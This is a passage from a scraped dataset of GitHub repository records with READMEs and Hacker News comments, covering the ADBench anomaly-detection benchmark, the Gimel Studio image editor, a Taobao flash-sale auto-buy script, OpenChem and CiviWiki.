286048   |     10     |   2747    |   0.96    | Botany    | \n|11|donors|  619326   |     10     |   36710   |   5.93    | Sociology|\n|12| fault                      |   1941    |     27     |    673    |   34.67   | Physical         |\n|13|fraud|  284807   |     29     |    492    |   0.17    | Finance|\n|14| glass |    214    |     7      |     9     |   4.21    | Forensic          |\n|15| Hepatitis           |    80     |     19     |    13     |   16.25   | Healthcare         |\n|16| http                                 |  567498   |     3      |   2211    |   0.39    | Web   |      \n|17| InternetAds   |   1966    |    1555    |    368    |   18.72   | Image         |\n|18| Ionosphere        |    351    |     32     |    126    |   35.90   | Oryctognosy         |\n|19| landsat                         |   6435    |     36     |   1333    |   20.71   | Astronautics    |     \n|20| letter                               |   1600    |     32     |    100    |   6.25    | Image     |    \n|21| Lymphography       |    148    |     18     |     6     |   4.05    | Healthcare       |  \n|22| magic.gamma                     |   19020   |     10     |   6688    |   35.16   | Physical        | \n|23| mammography                          |   11183   |     6      |    260    |   2.32    | Healthcare  |       \n|24| mnist                                |   7603    |    100     |    700    |   9.21    | Image      |   \n|25| musk                                 |   3062    |    166     |    97     |   3.17    | Chemistry   |      \n|26| optdigits                            |   5216    |     64     |    150    |   2.88    | Image     |    \n|27| PageBlocks         |   5393    |     10     |    510    |   9.46    | Document         |\n|28| pendigits                            |   6870    |     16     |    156    |   2.27    | Image        | \n|29| Pima                |    768    |     8      |    268    |   34.90   | Healthcare         |\n|30| satellite                            |   6435    |     36     |   2036    |   31.64   | Astronautics     |    \n|31| satimage-2                           |   5803    |     36     |    71     |   1.22    | Astronautics    |     \n|32| shuttle                              |   49097   |     9      |   3511    |   7.15    | Astronautics  |       \n|33| skin                            |  245057   |     3      |   50859   |   20.75   |    Image      |\n|34| smtp                                 |   95156   |     3      |    30     |   0.03    | Web        | \n|35| SpamBase            |   4207    |     57     |   1679    |   39.91   | Document         |\n|36| speech                               |   3686    |    400     |    61     |   1.65    | Linguistics    |     \n|37| Stamps              |    340    |     9      |    31     |   9.12    | Document         |\n|38| thyroid                              |   3772    |     6      |    93     |   2.47    | Healthcare      |   \n|39| vertebral                            |    240    |     6      |    30     |   12.50   | Biology       |  \n|40| vowels                               |   1456    |     12     |    50     |   3.43    | Linguistics  |       \n|41| Waveform           |   3443    |     21     |    100    |   2.90    | Physics         |\n|42| WBC                |    223    |     9      |    10     |   4.48    | Healthcare         |\n|43| WDBC               |    367    |     30     |    10     |   2.72    | Healthcare         |\n|44| Wilt                |   4819    |     5      |    257    |   5.33    | Botany         |\n|45| wine                                 |    129    |     13     |    10     |   7.75    | Chemistry   |      \n|46| WPBC             |    198    |     33     |    47     |   23.74   | Healthcare   |      \n|47| yeast                           |   1484    |     8      |    507    |   34.16   | Biology|\n|48| CIFAR10| 5263 |    512    |    263     |   5.00    |   Image   |\n|49| FashionMNIST| 6315|    512    |    315     |   5.00    |   Image   |\n|50| MNIST-C| 10000|    512    |    500     |   5.00    |   Image   |\n|51| MVTec-AD| See Table B2. |       |          |       |   Image   |\n|52| SVHN| 5208 |512| 260 |5.00 |Image |\n|53| Agnews| 10000 |768 |500 |5.00| NLP |\n|54| Amazon| 10000 |768| 500 |5.00| NLP |\n|55| Imdb| 10000| 768| 500 |5.00 |NLP |\n|56| Yelp| 10000| 768| 500 |5.00| NLP |\n|57| 20newsgroups| See Table B3. |     |          |       |   NLP   |\n\n### Algorithms\nCompared to the previous benchmark studies, we have a larger algorithm collection with\n1. latest unsupervised AD algorithms like DeepSVDD and ECOD;\n2. SOTA semi-supervised algorithms, including DeepSAD and DevNet;\n3. latest network architectures like ResNet in computer vision (CV) and Transformer in natural language processing (NLP) domain\n---we adapt ResNet and FTTransformer models for tabular AD in the proposed ADBench; and\n4. ensemble learning methods like LightGBM, XGBoost, and CatBoost.\nThe Figure below shows the algorithms (14 unsupervised, 7 semi-supervised, and 9 supervised algorithms) in ADBench.\n![Algorithms](figs/Algorithms.png)\n\nFor each algorithm, we also introduce its specific implementation in the following Table.\nThe only thing worth noting is that model name should be specified \n(especially for those models deployed by their corresponding package, e.g., [PyOD](https://github.com/yzhao062/pyod)). \nThe following codes show the example to import AD models. \nPlease see the Table for complete AD models included in ADBench and their import methods.\n\n```python\nfrom baseline.PyOD import PYOD\nmodel = PYOD(model_name='XGBOD') # initialization\nmodel.fit(X_train, y_train) # fit\nscore = model.predict_score(X_test) # predict\n```\n\n|  Model  | Year | Type |  DL  |       Import       |  Source  |\n| :-----: | :--------: | :--: | :--: | :-----------------: | :------: |\n| [PCA](https://apps.dtic.mil/sti/pdfs/ADA465712.pdf) | Before 2017 | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [OCSVM](https://proceedings.neurips.cc/paper/1999/file/8725fb777f25776ffa9076e44fcfd776-Paper.pdf) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [LOF](https://dl.acm.org/doi/pdf/10.1145/342009.335388) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [CBLOF](https://www.sciencedirect.com/science/article/abs/pii/S0167865503000035?casa_token=8zegN8osm64AAAAA:mf8lhwsCXHslgL8eYYJUSKJYgSiy42ibf6aMrP-zlaKE5tz_hiy63Olqv_NGAM7Gz21pjCTuMA) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [COF](https://link.springer.com/chapter/10.1007/3-540-47887-6_53) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [HBOS](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.401.5686&rep=rep1&type=pdf) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [KNN](https://dl.acm.org/doi/pdf/10.1145/342009.335437) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [SOD](https://www.dbs.ifi.lmu.de/~zimek/publications/PAKDD2009/pakdd09-SOD.pdf) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [COPOD](https://arxiv.org/abs/2009.09463) | 2020  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [ECOD](https://arxiv.org/abs/2201.00382) | 2022  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [IForest\u2020](https://cs.nju.edu.cn/zhouzh/zhouzh.files/publication/icdm08b.pdf?q=isolation-forest) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [LODA\u2020](https://link.springer.com/article/10.1007/s10994-015-5521-0) | Before 2017  | Unsup |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [DeepSVDD](http://proceedings.mlr.press/v80/ruff18a/ruff18a.pdf) | 2018  | Unsup |  &check;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [DAGMM](https://openreview.net/forum?id=BJJLHbb0-) | 2018  | Unsup |  &check;   | from baseline.DAGMM.run import DAGMM | [Link](https://github.com/mperezcarrasco/PyTorch-DAGMM) |\n| [GANomaly](https://arxiv.org/abs/1805.06725) | 2018  | Semi |  &check;   | from baseline.GANomaly.run import GANomaly | [Link](https://github.com/samet-akcay/ganomaly) |\n| [XGBOD\u2020](https://arxiv.org/abs/1912.00290) | 2018  | Semi |  &cross;   | from baseline.PyOD import PYOD | [Link](https://pyod.readthedocs.io/en/latest/#) |\n| [DeepSAD](https://arxiv.org/abs/1906.02694) | 2019  | Semi |  &check;   | from baseline.DeepSAD.src.run import DeepSAD | [Link](https://github.com/lukasruff/Deep-SAD-PyTorch) |\n| [REPEN](https://arxiv.org/abs/1806.04808) | 2018  | Semi |  &check;   | from baseline.REPEN.run import REPEN | [Link](https://github.com/GuansongPang/deep-outlier-detection) |\n| [DevNet](https://arxiv.org/abs/1911.08623) | 2019  | Semi |  &check;   | from baseline.DevNet.run import DevNet | [Link](https://github.com/GuansongPang/deviation-network) |\n| [PReNet](https://arxiv.org/abs/1910.13601) | 2020  | Semi |  &check;   | from baseline.PReNet.run import PReNet | / |\n| [FEAWAD](https://arxiv.org/abs/2105.10500) | 2021  | Semi |  &check;   | from baseline.FEAWAD.run import FEAWAD | [Link](https://github.com/yj-zhou/Feature_Encoding_with_AutoEncoders_for_Weakly-supervised_Anomaly_Detection/blob/main/FEAWAD.py) |\n| [NB](https://www.cs.unb.ca/~hzhang/publications/FLAIRS04ZhangH.pdf) | Before 2017  | Sup |  &cross;   | from baseline.Supervised import supervised | [Link](https://scikit-learn.org/stable/supervised_learning.html) |\n| [SVM](http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.41.1639) | Before 2017  | Sup |  &cross;   | from baseline.Supervised import supervised | [Link](https://scikit-learn.org/stable/supervised_learning.html) |\n| [MLP](https://files.eric.ed.gov/fulltext/ED294889.pdf) | Before 2017  | Sup |  &check;   | from baseline.Supervised import supervised | [Link](https://scikit-learn.org/stable/supervised_learning.html) |\n| [RF\u2020](https://www.stat.berkeley.edu/~breiman/randomforest2001.pdf) | Before 2017  | Sup |  &cross;   | from baseline.Supervised import supervised | [Link](https://scikit-learn.org/stable/supervised_learning.html) |\n| [LGB\u2020](https://proceedings.neurips.cc/paper/2017/file/6449f44a102fde848669bdd9eb6b76fa-Paper.pdf) | 2017  | Supervised |  &cross;   | from baseline.Supervised import supervised | [Link](https://lightgbm.readthedocs.io/en/latest/) |\n| [XGB\u2020](https://arxiv.org/abs/1603.02754) | Before 2017  | Sup |  &cross;   | from baseline.Supervised import supervised | [Link](https://catboost.ai/en/docs/) |\n| [CatB\u2020](https://arxiv.org/pdf/1706.09516.pdf) | 2019  | Sup |  &cross;   | from baseline.Supervised import supervised | [Link](https://xgboost.readthedocs.io/en/stable/) |\n| [ResNet](https://arxiv.org/pdf/2106.11959.pdf) | 2019  | Sup |  &check;   | from baseline.FTTransformer.run import FTTransformer | [Link](https://yura52.github.io/rtdl/stable/index.html) |\n| [FTTransformer](https://arxiv.org/pdf/2106.11959.pdf) | 2019  | Sup |  &check;   | from baseline.FTTransformer.run import FTTransformer | [Link](https://yura52.github.io/rtdl/stable/index.html) |\n- '\u2020' marks ensembling. This symbol is not included in the model name.\n- Un-, semi-, and fully-supervised methods are denoted as _unsup_, _semi_ and _sup_, respectively.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "GimelStudio/GimelStudio", "link": "https://github.com/GimelStudio/GimelStudio", "tags": ["image-editor", "compositor", "non-destructive", "graphics", "gimel-studio", "design-tools", "photo-editor", "2d-graphics", "photography", "node-editor", "image-manipulation", "python", "wxpython", "graphics-editor", "glsl", "node-based"], "stars": 504, "description": "Non-destructive, node based 2D image graphics editor", "lang": "Python", "repo_lang": "", "readme": "<h1 align=\"center\">Gimel Studio</h1>\n\n<p align=\"center\">\n  <img href=\"https://github.com/GimelStudio/GimelStudio/blob/master/LICENSE\" src=\"https://img.shields.io/badge/License-Apache2.0-green.svg\" />\n  <br/>\n  Non-destructive, node-based 2D graphics editor, focused on simplicity, speed, elegance, and usability<br/>\n  <a href=\"https://gimelstudio.github.io\">Official Website</a> | <a href=\"https://gimelstudio.zulipchat.com/join/sif32f3gjpnikveonzgc7zhw/\">Community Chat</a> | <a href=\"https://gimelstudio.readthedocs.io/en/latest/\">Official Manual</a>\n</p>\n\n![\"Gimel Studio Banner\"](/assets/banner/gimel-studio-06-pre-3.png \"Gimel Studio\")\n\n\n# About Gimel Studio\n\nThis repository tracks the next step of Gimel Studio to become a truly usable and serious non-destructive graphics editor. It is currently in ``initial planning/development`` stage, working towards a usable MVP application. Things will probably change **a lot** from what is currently here.\n\nYou\u2019re always welcome to help out, ask questions, give feedback, and suggest ideas/improvements.\n\n**Join us in our Zulip chat organization [here](https://gimelstudio.zulipchat.com/join/sif32f3gjpnikveonzgc7zhw/) to give your feedback and stay in the loop!**\n\n\n# Project Vision\n\nThe main goal is to expand on and greatly improve upon the concepts from the [previous version](https://github.com/Correct-Syntax/Gimel-Studio) of Gimel Studio to create a serious (yet fun!) 2D graphics editor.\n\nThis includes:\n\n- Re-designed UI (inspired by Blender and Sketch)\n- Improved file-type support (.tiff, .exr files, etc)\n- 16-bit workflow support\n- CPU and GPU based processing\n- Highly improved node-graph and overall workflow for image editing\n- Greater emphasis on re-usabilty of node graph setups via templates, etc\n- User preferences for customizabilty\n- UI translations\n- Gizmos for the viewport to allow for WYSIWYG-like interaction for transforms, etc. (e.g. crop, rotate, etc)\n- Continued improvement and additions to the Python API for scripting custom nodes\n- And more...\n\nNodes can be used to composite, edit and create new effects and/or composite raster and vector graphics on-demand and visually with node thumbnails showing each step of the process (where applicable). Helpful gizmos in the interactive viewport can be used to do various editing tasks and speed up the workflow. Preset node graph templates can be created, used and re-used to save time setting up common node-setups.\n\nCustom nodes can be scripted with the built-in Python API for maximum flexibility. Integrations with other software are planned.\n\nWith a fully non-destructive workflow that uses both GPU and CPU processing (via GLSL + OpenGL) while being seamlessly cross-platform on Windows, Linux and macOS (for 64-bit systems), Gimel Studio aims to be a simple, yet powerful 2D graphics editing tool for anyone with an image to edit.\n\n\n# Current Status\n\n**6/6/22 update:** We're in the process of planning for another step to hopefully propel the project forward with a clearer goals and organization.\n\n**Join us in our Zulip chat organization [here](https://gimelstudio.zulipchat.com/join/sif32f3gjpnikveonzgc7zhw/) to give your feedback and stay in the loop!**\n\nThere are [alpha pre-releases](https://github.com/GimelStudio/GimelStudio/releases) available for those wanting to test the current functionality.\n\n![gs-wip-demo](https://user-images.githubusercontent.com/60711001/148820733-358faad6-ee80-4d27-b9c2-2503c6b0abf8.gif)\n*The status of the next generation of Gimel Studio as of 1/10/2022*\n\n\n# Contributing\n\nTake a look at the [GitHub Issues](https://github.com/GimelStudio/GimelStudio/issues) for details on immediate and future tasks to be done. Issues labeled \u201cGood first issue\u201d will be the best for new contributors. We are willing to mentor any contributors as needed.\n\n**Pull requests are always welcome! :)**\n\nPlease see the [CONTRIBUTING.md](CONTRIBUTING.md) for some details on contributing.\n\n\n# Running the code\n\n*Please note: At this stage of development, the code is highly WIP and likely to change a lot. Many things are not implemented and not stable. Please don't expect too much at this point...*\n\n## Windows\n\n1. Make sure you have Python 3.9 or 3.10 installed on your system.\n2. Run ``pip install -r requirements.txt``\n3. You can get an older release of OIIO (OpenImageIO) [here](https://www.lfd.uci.edu/~gohlke/pythonlibs/#openimageio) and install it with ``pip install <the_path_to_the_whl_here>``. Or, to use the latest version of OIIO, follow the build instructions [here](https://github.com/Correct-Syntax/py-oiio#windows-build-steps).\n4. Run ``cd src`` then ``python main.py`` to navigate to the src directory and run Gimel Studio.\n5. To build an executable, make sure you are in the root directory and run ``python build.py``. The executable will be generated in the ``dist`` folder.\n\n## Linux\n\n*This has been tested on Debian-based systems (Ubuntu, Linux Mint). Other distros may require extra configuration.*\n\n1. Make sure you have Python 3.9 installed on your system.\n2. Navigate to the root folder and in your terminal, run ``python3 build.py``. This will begin a process to install all of the neccesary libraries and will give you the option to create a standalone executable or just run the code with Python.\n\n## macOS\n\n1. Make sure you have Python 3.8 or 3.9 installed on your system.\n2. Navigate to the root folder and in your terminal, run ``python3 build.py``. This will install all of the neccesary libraries and will give you the option to create a standalone executable or just run the code with Python.\n", "readme_type": "markdown", "hn_comments": "I'll be back in 5-10 years when the devs get over themselves and the application actually reflects the \"simplicity, elegance, and usability\" that it purports to.This may come off as unfair, but I say it as an artist who vividly recalls the frustration of using Blender and GIMP in the 2000s - and, particularly, of trying to get contributors to understand that, actually, the industry standard software had it right, you don't have to change basic UX elements, you're making it more difficult for us to use this software (or, perhaps even more important, to convince colleagues/bosses/collaborators to use it).I already see it in the comments here: users expressing their misgivings and others (admittedly, just one or two vocal individuals, for now) shouting down their concerns as stupid or irrational. My first impression was that this is unnecessary, though I'm coming around to the potential. If Gimel is destined to become a useful tool, I hope it's able to do so without the pain so many other pieces of software that are aimed at artists and designers that the devs won't listen to go through.<HN_SEP>I've never understood the need for 2d schematic editor when a ordered list of filters would suffice. Do you like to move pixels around that much?<HN_SEP>Looks great, I wonder if it could:1. Output an Imagemagick script so the same effects could be applied to images say uploaded from a website.2. This form of node based editing applied to other tools (GStreamer springs to mind which has a very node oriented workflow)<HN_SEP>Interesting! I've done some visual node based editors in the past. One design principle I might suggest: develop a DSL and have the editor just be editing programs in that DSL. You might be able to use Racket\u2014not sure\u2014but alternatively you could copy what I've done here (https://ohayo.computer) and design a Tree Language (https://jtree.treenotation.org/designer/).It makes the problem simpler IMO, as then you get to iterate on the language and capabilities independently of the UI.<HN_SEP>2d image editor aka. node based compositor?<HN_SEP>if someone is interested in similar concept but for real-time visuals, https://ossia.io is starting to have a fairly complete real-time node-based shader pipeline, which uses https://isf.video as standardized shader format :) any feedback would be very welcome!<HN_SEP>In the demo, when they add a new node between two existing nodes, they first add the node then disconnect the two other nodes then connect the two others to the new node.As others pointed out it looks similar to the node editor in Blender.I am fairly certain that in Blender you can drag a node onto the connection between two nodes and it will be connected.That makes adding nodes less tedious.Does Gimel Studio support doing that also? If not, I highly recommend that said feature be added to Gimel Studio.<HN_SEP>I once tried to make something similar, I used OpenCL for performance. But either my knowledge wasn't sufficient or the architecture wasn't properly designed, so on complex node trees the performance was pretty bad; if I remember correctly - because there was too much data being copied between RAM and VRAM back and forth and the engine was designed to be too flexible (for example, an arbitrary number of color channels) it harmed the performance. Eventually my enthusiasm  faded and I abandoned the project. The original idea was to replicate Foundry Nuke's flow. Back then it supported GPU only for some of the operators.<HN_SEP>I understand why this approach can be useful. What I don't like from first glance is screen space \"wasted\" to node graph. When I edit image (which can be much larger than 4K video frame, not to mention 1080p video frame) I want to spend my precious screen real estate for image's pixels. So, this software screams for two monitor setup, and no so useful on laptops...On the other hand, if it (will?) be possible to work in several color models in one graph it will be very useful to implement Dan Margulis' color correction technics which require working with channels from different color models simultaneously.<HN_SEP>What\u2026 is the point of node editing? Current image editing is only destructive if you save over the original file? What am I missing? This seems way more tedious than just making the changes like in Lightroom.<HN_SEP>Simplicity? Well, if you're used to GNU Radio maybe ;)The graph view on top will be very off-putting to normal users. It's even off-putting to me and I'm a huge nerd.I'd rather hide the non-destructive nature in a normal graphical editor UI people are used to. So people can edit away and when they're happy with a version of the file they can just flag it. And then they can jump between those flagged versions or browse the whole history with instant revision switching.I've done something similar with an audio editor.<HN_SEP>This looks amazing. Lots of people complain about node based editor but there is a real need for non-destructive/parametric 2D workflows.Why not make this commercial though? I wouldn\u2019t mind spending a small amount of money on such an editor.<HN_SEP>Reminds me a bit of https://graphite.rs/<HN_SEP>Seems a bit odd to have a 16-bit workflow (clearly not full float32 then?) if it supports EXR files, which natively support 32-bit float (in addition to half float)? Given they appear to be using GLSL for the pixel processing, surely 32-bit float would be trivial to support as well?<HN_SEP>This looks really similar to Blender's node editor. Is there a relationship?<HN_SEP>This reminds me of Gamemaker by Mark Overmars except modern and multiplatform and best of all, OSS. Worth me to take a look!Way to go! It's incredible.<HN_SEP>Amazing work. I have to ask, however: what does your engine do better (or plan to do better in the future if it's not there yet) than any of the existing 2D engines, like GMS2, Defold, etc? That is, why should a developer consider choosing your engine?<HN_SEP>Any chance for MacOS support? If you\u2019ve got Linux support it shouldn\u2019t be too difficult?<HN_SEP>Very impressive and inspirational. I'm blown away by this. Great stuff.<HN_SEP>The big question: are there any shipped games (ex. on Steam) with it?This is probably the most important thing when advertising your game engine. Tech demos (like Arkanoid) are easy to make with any engine, but actual games less so. Even modest indie game releases can include tons of assets and scripting, complex workflows and custom tooling (depending on the game and the team structure), and all kinds of platform-specific tweaks.Developing a full-blown game often exposes the actual glaring problems of the game engine. And I think dogfooding is incredibly important in fixing these issues (developing a full game alongside with a game engine).<HN_SEP>How big are games exported for web? I am currently looking for something that exports to html5, but Godot builds are at least 20MB with heavy optimizing (I'm ignoring the size of assets here). Then there is Phaser3 of course, but I have my troubles with it, partially the docs, partially because JS.I used to write quite a bit of Lua in the past, so the choice of language is mostly welcome, and if your binary sizes are nicely small, I only have to wait for the support of grid-based top-down.Since you have some example games, how big are their downloads?<HN_SEP>Fantastic work, I would be curious to hear more about your experience writing the editor in Qt. Tooling is such a hard part of game development and not many people talk about it. How was using Qt? Were you happy with the decision? Any issues?<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "thelastleft-back/taobao-tianmao-auto-buy", "link": "https://github.com/thelastleft-back/taobao-tianmao-auto-buy", "tags": [], "stars": 503, "description": "\u6dd8\u5b9d/\u5929\u732b\u79d2\u6740\u62a2\u8d2d", "lang": "Python", "repo_lang": "", "readme": "# taobao-tianmao-auto-buy\nTaobao/Tmall flash sale\n\n\n        Steps for usage:\n\n        1. Enter the product link and sale time according to the format\n        2. The program automatically opens the chrome browser access link, and jumps to the login page, please scan the code to log in within 30 seconds\n        3. Jump to the product page, please select all product specifications (such as shoe size, color matching) before the sale time\n        4. Automatically place an order after the sale, and complete the payment within the specified time of Taobao\n       \n        hint:\n       \n        1. It must be used with the chrome browser (version 71-73), only applicable to Taobao and Tmall\n        2. The format of the sale time must be correct (xxxx-xx-xx (space) xx:xx:xx)\n        4. After scanning the QR code to log in, the chrome browser may intercept the redirection request. If this happens, please receive the redirection page at the end of the browser address bar\n        5. Jump to the product page, and you must complete all product specification selections before the sale time\n        6. Set the default mailing address and phone number in advance, which cannot be changed in the middle\n        7. Unable to operate on the order page, not applicable to the use of coupons, etc.\n        8. After the program is packaged, you need to place chromedriver.exe in the same directory as the exe to run", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Mariewelt/OpenChem", "link": "https://github.com/Mariewelt/OpenChem", "tags": ["computational-chemistry", "computational-biology", "deep-learning", "deep-neural-networks", "graph-convolutional-networks", "drug-discovery", "drug-design", "qsar", "predictive-modeling", "machine-learning", "pytorch"], "stars": 502, "description": "OpenChem: Deep Learning toolkit for Computational Chemistry and Drug Design Research", "lang": "Python", "repo_lang": "", "readme": "<p align=\"center\">\n  <img align=\"middle\" src=\"./docs/logo.png\" alt=\"OpenChem\" width=\"400px\" class=\"center\">\n </p>\n\n# OpenChem\n\nOpenChem is a deep learning toolkit for Computational Chemistry with [PyTorch](https://pytorch.org) backend. The goal of OpenChem is to make Deep Learning models an easy-to-use tool for Computational Chemistry and Drug Design Researchers. \n\n# Main features\n\n* Modular design with unified API, modules can be easily combined with each other.\n* OpenChem is easy-to-use: new models are built with only configuration file.\n* Fast training with multi-gpu support.\n* Utilities for data preprocessing.\n* Tensorboard support.\n\n# Documentation\n\nCheck out OpenChem documentation [here](https://mariewelt.github.io/OpenChem/).\n\n# Supported functionality\n## Tasks:\n* Classification (binary or multi-class)\n* Regression\n* Multi-task (such as N binary classification tasks)\n* Generative models\n\n## Data types\n* Sequences of characters such as SMILES strings or amino-acid sequences\n* Molecular graphs. OpenChem takes care of converting SMILES strings into molecular graphs\n\n## Modules:\n* Token embeddings\n* Recurrent neural network encoders\n* Graph convolution neural network encoders\n* Multi-layer perceptrons\n\nWe are working on populating OpenChem with more models and other building blocks.\n\n# Installation\n\n## Requirements\nIn order to get started you need:\n* Modern NVIDIA GPU, [compute capability 3.5](https://developer.nvidia.com/cuda-gpus) or newer.\n* Python 3.5 or newer (we recommend [Anaconda](https://www.anaconda.com/) distribution)\n* [CUDA 9.0 or newer](https://developer.nvidia.com/cuda-downloads)\n\n## General installation\n\nIf you installed your Python with Anaconda you can run the following commands to get started:\n```bash\ngit clone https://github.com/Mariewelt/OpenChem.git\ncd OpenChem\nconda create --name OpenChem python=3.7\nconda activate OpenChem\nconda install --yes --file requirements.txt\nconda install -c rdkit rdkit nox cairo\nconda install pytorch torchvision -c pytorch\npip install -e .\n```\nIf your CUDA version is older than 9.0, check [Pytorch](https://pytorch.org) website for different installation instructions. \n\n## Installation with Docker\nAlternative way of installation is with Docker. We provide a Dockerfile, so you can run your models in a container that already has all the necessary packages installed. You will also need nvidia-docker in order to run models on GPU.\n\n# Publications\nIf you use OpenChem in your projects, please cite:\n\nKorshunova, Maria, et al. \"OpenChem: A Deep Learning Toolkit for Computational Chemistry and Drug Design.\" Journal of Chemical Information and Modeling 61.1 (2021): 7-13.\n\nMolecularRNN model paper:\n\nPopova, Mariya, et al. \"MolecularRNN: Generating realistic molecular graphs with optimized properties.\" arXiv preprint arXiv:1905.13372 (2019).\n\n\n# Acknowledgements\n\nOpenChem was supported by [Carnegie Mellon University](https://www.cmu.edu), [the University of North Carolina at Chapel Hill](https://www.unc.edu/) and [NVIDIA Corp.](https://www.nvidia.com/en-us/) \n<p align=\"center\">\n  <img src=\"./docs/cmu-wordmark-stacked-r.png\" alt=\"CMU\" width=\"400px\">\n  <br>\n  <img src=\"./docs/UNC_logo_RGB.png\" alt=\"UNC\" width=\"400px\">\n  <img src=\"./docs/NVLogo_2D_H.png\" alt=\"NVIDIA\" width=\"400px\">\n  <br>\n</p>\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "CiviWiki/OpenCiviWiki", "link": "https://github.com/CiviWiki/OpenCiviWiki", "tags": ["legislation", "legislative-bill-analysis", "civic-tech", "civic-engagement", "democracy", "participatory-democracy", "volunteers", "django", "django-rest-framework", "congress", "senate", "politics", "activism", "python", "hacktoberfest"], "stars": 502, "description": "Building a Better Democracy for the Internet Age", "lang": "Python", "repo_lang": "", "readme": "# Welcome to Civiwiki\n\n[![GitHub Discussions](https://img.shields.io/github/discussions/CiviWiki/OpenCiviWiki)](https://github.com/CiviWiki/OpenCiviWiki/discussions)\n[![Join our Matrix chat](https://img.shields.io/badge/chat-join%20now%20via%20Matrix-blue)](https://matrix.to/#/#civi.wiki:matrix.org)\n\n![GitHub Repo stars](https://img.shields.io/github/stars/CiviWiki/OpenCiviWiki?style=social)\n![GitHub labels](https://img.shields.io/github/labels/CiviWiki/OpenCiviWiki/help%20wanted)\n\n<!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section -->\n[![All Contributors](https://img.shields.io/badge/all_contributors-106-orange.svg?style=flat-square)](#contributors-)\n<!-- ALL-CONTRIBUTORS-BADGE:END -->\n\n[![ComVer](https://img.shields.io/badge/ComVer-compliant-brightgreen.svg)](https://github.com/staltz/comver)\n[![Maintainability](https://api.codeclimate.com/v1/badges/5241b4275cc2dffe90f2/maintainability)](https://codeclimate.com/github/CiviWiki/OpenCiviWiki/maintainability)\n\nWe are an open-source, non-profit community, working to develop a democratic engagement web system.\n\n## Join our community\n\nJoin us on the following channels:\n\n* [discussions](https://github.com/CiviWiki/OpenCiviWiki/discussions) on GitHub\n* [chat](https://matrix.to/#/#civi.wiki:matrix.org) on Matrix\n\n## Why CiviWiki?\n\n* **Democratically Contributed Media.** As the name CiviWiki implies, our core content will be contributed by volunteers on our Wiki. Our topic format is modular. The structure allows both a community of volunteers to collaborate on a single political issue and reserves space for dissenting opinions.\n* **Personalized Policy Feed.** CiviWiki intelligently personalizes users' feed in two meaningful ways. First, the issues promoted to users' feed will be personalized to the user's expressed interests, and the timeliness of the issue. Second, the structure of the issue topics breaks policy positions into bite-sized contentions we call Civies. Each Civi is logically related to the rest of the topic. Based on the user's support, opposition, or neutrality to each Civi, CiviWiki promotes different relevant content.\n* **Citizen/Representative Engagement.** CiviWiki's core goal is to engage citizens and their representatives, with the goal of making government more accountable. CiviWiki will achieve this goal in two ways. First, CiviWiki will organize the user's policy profile and compare it to every political candidate in the user's district. This quick, detailed, comparison will help users make informed votes, and we believe increased voter confidence will increase voter turnout. Second, CiviWiki will collect anonymized user data and forward district-level statistics to representatives. With a critical mass of users, we believe timely district-level polling data will influence representatives' votes.\n\n\n## Contribute\n\nSee our [Contributing Guide](CONTRIBUTING.md) for instructions on how to contribute ideas, bug reports, and code.\n\n## Contributors\n\nThanks to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)):\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/abhiprojectz\"><img src=\"https://avatars.githubusercontent.com/u/64596494?v=4?s=100\" width=\"100px;\" alt=\"Abhi \"/><br /><sub><b>Abhi </b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=abhiprojectz\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://abhijithganesh.github.io\"><img src=\"https://avatars.githubusercontent.com/u/67182544?v=4?s=100\" width=\"100px;\" alt=\"Abhijith Ganesh\"/><br /><sub><b>Abhijith Ganesh</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=AbhijithGanesh\" title=\"Code\">\ud83d\udcbb</a> <a href=\"#projectManagement-AbhijithGanesh\" title=\"Project Management\">\ud83d\udcc6</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=AbhijithGanesh\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3AAbhijithGanesh\" 